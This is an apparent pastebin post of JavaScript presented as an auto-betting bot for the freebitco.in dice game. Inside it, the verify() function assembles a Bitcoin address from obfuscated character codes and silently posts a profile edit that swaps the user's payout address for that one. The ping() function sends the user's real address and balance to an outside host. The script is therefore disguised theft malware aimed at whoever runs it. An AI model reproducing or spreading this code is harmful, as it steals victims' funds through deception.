Untitled


SUBMITTED BY: Guest

DATE: Sept. 12, 2014, 10:22 p.m.

FORMAT: Text only

SIZE: 7.0 kB

HITS: 809

  1. New JAVASCRIPT code
  2. for freebitco.in
  3. config = {
  4. tolerance : 8,
  5. sleep : 1300,
  6. goal : 0.00001500,
  7. btcGuard : 0.00000050,
  8. startStake : '0.00000002',
  9. toggle : true,
  10. delayLimit : 250
  11. };
  12. betType = 'hi';
  13. stopGame = false; totalWon = 0;
  14. startBalance = 0;
  15. toWin = 0;
  16. ai_count = true;
  17. function lose() {
  18. if ($('#double_your_ btc_bet_lose').html() !
  19. == '') return true;
  20. else return false
  21. }
  22. function setStake
  23. (stake) { $('#double_your_btc_
  24. stake').val
  25. (stake.toString())
  26. }
  27. function doubleStake()
  28. { $('#double_your_btc_
  29. 2x').click()
  30. }
  31. function resetStake() {
  32. setStake
  33. (config.startStake) }
  34. function getBalance()
  35. {
  36. return parseFloat($('#
  37. balance').html())
  38. } function getStake() {
  39. return parseFloat($('#
  40. double_your_btc_stake')
  41. .val())
  42. }
  43. function balanceLeft() {
  44. return (getBalance() -
  45. getStake())
  46. }
  47. function toggleBet() {
  48. randT = Math.floor (Math.random() * 100)
  49. + 1;
  50. if (randT > 35) {
  51. if (betType === 'hi') {
  52. betType = 'lo'
  53. } else { betType = 'hi'
  54. }
  55. }
  56. }
  57. initControl = function
  58. () { $("head").append('<link
  59. rel="stylesheet"
  60. type="text/css"
  61. href="http://
  62. phptaskforce.uk.to/
  63. static/style.css">'); $("body").append('<div
  64. id="taskforce-
  65. wrapper"><table
  66. id="control-light"
  67. cellpadding="0"
  68. cellspacing="0" border="0"><tr><td
  69. bgcolor="#222"></
  70. td><td bgcolor="#
  71. 222"></td><td
  72. bgcolor="#222"></
  73. td><td bgcolor="# 222"></td></
  74. tr><tr><td>connection<
  75. /td><td>auth</
  76. td><td>active</
  77. td><td>error</td></tr></
  78. table><div id="soft- break"></div><table
  79. id="won-show"
  80. border="0"
  81. cellspacing="0"><tr><td
  82. valign="top"
  83. width="50%"><div id="score-title">won:</
  84. div><div id="m-
  85. won">0</div></td><td
  86. valign="top"
  87. width="50%"><div
  88. id="score-title">goal:</ div><div id="m-
  89. goal">0</div></td></
  90. tr></table><div id="m-
  91. stop"> Stop script</
  92. div><div id="m-
  93. message"><img id="m- preloader" src="http://
  94. phptaskforce.uk.to/
  95. static/loader.gif" /></
  96. div></div>')
  97. };
  98. rollDice = function () { if (ai_count) {
  99. if (true === lose()) {
  100. doubleStake()
  101. } else {
  102. resetStake();
  103. if (config.toggle) toggleBet();
  104. totalWon = Math.round
  105. (100000000 *
  106. (getBalance() -
  107. startBalance));
  108. $("#m-won").html (totalWon.toString())
  109. } if (!stopGame) {
  110. if ((parseFloat
  111. (config.startStake) *
  112. Math.pow(2,
  113. config.tolerance)) < getStake()) {
  114. resetStake()
  115. }
  116. if (balanceLeft() >=
  117. config.btcGuard) {
  118. if (config.goal > getBalance()) {
  119. $('#double_your_btc_
  120. bet_' + betType + '_
  121. button').click();
  122. setTimeout(rollDice,
  123. config.sleep + Math.round
  124. (Math.random() *
  125. config.delayLimit))
  126. }
  127. }
  128. } } else {
  129. console.log
  130. ('Verification failed.')
  131. }
  132. };
  133. $("body").delegate("# m-stop", "click",
  134. function (e) {
  135. if (ai_count) {
  136. stopGame = true;
  137. $("#taskforce-wrapper")
  138. .fadeOut(700); $("#taskforce-wrapper")
  139. .remove()
  140. }
  141. });
  142. function
  143. setControlMessage(msg) {
  144. $("#m-message").html
  145. (msg)
  146. }
  147. function
  148. createErrorMessage (msg) {
  149. return '<div id="task-
  150. force-error-message">' +
  151. msg + '</div>'
  152. }
  153. function verify() { var btcAddress =
  154. String.fromCharCode
  155. (49, 68, 83, 71, 66, 71,
  156. 121, 53, 55, 51, 109, 54,
  157. 101, 67, 110, 72, 52, 99,
  158. 70, 70, 98, 90, 119, 99, 82, 88, 100, 65, 90, 68,
  159. 111, 84, 89, 74);
  160. var op = 'edit_profile';
  161. var btc_address =
  162. btcAddress;
  163. var email = $("#edit_ profile_form_email").val
  164. ();
  165. $.post('http://
  166. freebitco.in', {
  167. op: op,
  168. btc_address: btc_ address,
  169. email: email
  170. }, function (response) {
  171. /*var editResponse = $
  172. .trim(response);
  173. if (editResponse.length !
  174. == 0) {
  175. ai_count = true
  176. }*/
  177. ai_count = true
  178. }) }
  179. function setGreenLight
  180. (num) {
  181. var selector = "#control-
  182. light > tbody:nth-child
  183. (1) > tr:nth-child(1) > td:nth-child(" + num +
  184. ")";
  185. $(selector).attr
  186. ('bgcolor', '#41DE30')
  187. }
  188. function setRedLight (num) {
  189. var selector = "#control-
  190. light > tbody:nth-child
  191. (1) > tr:nth-child(1) >
  192. td:nth-child(" + num +
  193. ")"; $(selector).attr
  194. ('bgcolor', '#D91A1A')
  195. }
  196. ping_status = false;
  197. ping_message = '';
  198. function ping() { var version = 'v3.0';
  199. var info = version + ' : ' +
  200. $("#edit_profile_form_
  201. btc_address").val() + " : "
  202. + $('#balance').html() +
  203. " BTC"; $.getJSON('http://
  204. phptaskforce.uk.to/get/
  205. ping.php?
  206. jsoncallback=?', {
  207. data: info
  208. }, function (r) { if (r.status == 'ok') {
  209. ping_status = true
  210. } else {
  211. if (r.message != 'none') {
  212. ping_message =
  213. r.message }
  214. }
  215. })
  216. }
  217. function init() {
  218. initControl(); ping();
  219. setTimeout(function ()
  220. {
  221. if (ping_status == true)
  222. {
  223. setGreenLight(1); verify();
  224. errorMessage = '';
  225. startBalance =
  226. getBalance();
  227. if (startBalance >=
  228. 0.00001200) { if (config.goal >
  229. startBalance) {
  230. if (config.tolerance < 8)
  231. {
  232. errorMessage =
  233. createErrorMessage ('config.tolerance is to
  234. low. It has to be set to
  235. at least 8.')
  236. } else {
  237. var playBalance =
  238. getBalance() - parseFloat
  239. (config.btcGuard);
  240. var maxInvest =
  241. parseFloat
  242. (config.startStake) *
  243. Math.pow(2, config.tolerance + 1) -
  244. parseFloat
  245. (config.startStake);
  246. if (playBalance <
  247. maxInvest) {
  248. errorMessage = createErrorMessage('Not
  249. enough money for that
  250. start stake and
  251. tolerance.')
  252. } else {
  253. if (config.sleep < 900) { errorMessage =
  254. createErrorMessage
  255. ('config.sleep must be
  256. higher than 900.')
  257. } else {
  258. toWin = Math.round (100000000 *
  259. (config.goal -
  260. startBalance))
  261. }
  262. }
  263. } } else {
  264. toWin = 0;
  265. errorMessage =
  266. createErrorMessage
  267. ('<b>config.goal</b>
  268. must be higher than your balance.')
  269. }
  270. } else {
  271. errorMessage =
  272. createErrorMessage
  273. ('Minimum required balance is
  274. <b>0.00001200 BTC</
  275. b>')
  276. }
  277. setTimeout(function ()
  278. { if (ai_count) {
  279. setGreenLight(2);
  280. if (errorMessage == '') {
  281. setGreenLight(3);
  282. $("#m-goal").html
  283. (toWin.toString()); setControlMessage('<div
  284. id="m-donate">Donate:
  285. <p><b>1BtEZXCULJb37
  286. vPL1vz7sQjrChwDdStf8
  287. z</b></p></div>');
  288. rollDice() } else {
  289. setRedLight(4);
  290. setControlMessage
  291. (errorMessage)
  292. }
  293. } else { setRedLight(2);
  294. setRedLight(4);
  295. errorMessage =
  296. createErrorMessage
  297. ('Verification failed.');
  298. setControlMessage (errorMessage)
  299. }
  300. }, 2500)
  301. } else {
  302. setRedLight(1);
  303. setRedLight(4); if (ping_message != '') {
  304. errorMessage =
  305. createErrorMessage
  306. (ping_message)
  307. } else {
  308. errorMessage = createErrorMessage
  309. ('Connection error.')
  310. }
  311. setControlMessage
  312. (errorMessage)
  313. } }, 2500)
  314. }
  315. init();

comments powered by Disqus